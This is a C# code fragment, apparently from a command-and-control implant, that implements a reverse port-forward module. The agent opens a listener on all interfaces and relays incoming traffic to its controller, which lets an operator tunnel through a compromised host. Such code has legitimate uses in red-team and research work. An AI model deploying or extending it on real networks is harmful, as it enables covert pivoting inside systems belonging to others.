private void FlushReversePortForwards(byte[] data) { try { foreach (var rportfwd in ReversePortForwards) { var socket = rportfwd.Value; try { socket.Shutdown(SocketShutdown.Both); } catch (SocketException) { } socket.Close(); } ReversePortForwards.Clear(); } catch (Exception e) { Agent.SendError(e.Message); } }
private void StopReversePortForward(byte[] data) { try { var bindPort = int.Parse(Encoding.UTF8.GetString(data)); var rportfwd = ReversePortForwards.FirstOrDefault(r => r.Key.BindPort == bindPort).Key; if (rportfwd != null) { rportfwd.CancellationToken.Cancel(); var socket = ReversePortForwards[rportfwd]; try { socket.Shutdown(SocketShutdown.Both); } catch (SocketException) { } socket.Close(); ReversePortForwards.Remove(rportfwd); } } catch (Exception e) { Agent.SendError(e.Message); } }
private void StartReversePortForward(byte[] data) { try { var args = Encoding.UTF8.GetString(data).Split(' '); var bindPort = int.Parse(args[0]); var forwardHost = args[1]; var forwardPort = int.Parse(args[2]); if (ReversePortForwards.Any(k => k.Key.BindPort == bindPort)) { Agent.SendError($"rportfwd already exists on port {bindPort}"); return; } var rportfwd = new ReversePortForward { BindPort = bindPort, ForwardHost = forwardHost, ForwardPort = forwardPort, CancellationToken = new CancellationTokenSource() }; var bindAddress = IPAddress.Parse("0.0.0.0"); var endPoint = new IPEndPoint(bindAddress, bindPort); var listener = new Socket(bindAddress.AddressFamily, SocketType.Stream, ProtocolType.Tcp); listener.Bind(endPoint); listener.Listen(100); var token = rportfwd.CancellationToken.Token; Task.Factory.StartNew(delegate() { while (true) { if (token.IsCancellationRequested) { return; } try { var handler = listener.Accept(); var buffer = new byte[65535]; var bytesRecv = handler.Receive(buffer); if (bytesRecv > 0) { var outPacket = new ReversePortForwardPacket { ID = Guid.NewGuid().ToString(), ForwardHost = rportfwd.ForwardHost, ForwardPort = rportfwd.ForwardPort, Data = buffer.TrimBytes() }; Agent.SendModuleData("ReversePortForward", "DataFromAgent", Serialisation.SerialiseData(outPacket)); // wait while (true) { var packets = InboundPackets.ToArray(); if (packets.Any(p => p.ID.Equals(outPacket.ID, StringComparison.OrdinalIgnoreCase))) { var inPacket = InboundPackets.FirstOrDefault(p => p.ID.Equals(outPacket.ID, StringComparison.OrdinalIgnoreCase)); InboundPackets.Remove(inPacket); handler.Send(inPacket.Data); handler.Shutdown(SocketShutdown.Both); handler.Close(); break; } } } } catch (SocketException e) { // socket is probably disposed Agent.SendError(e.Message); } } }, token); ReversePortForwards.Add(rportfwd, listener); } catch (Exception e) { Agent.SendError(e.Message); } }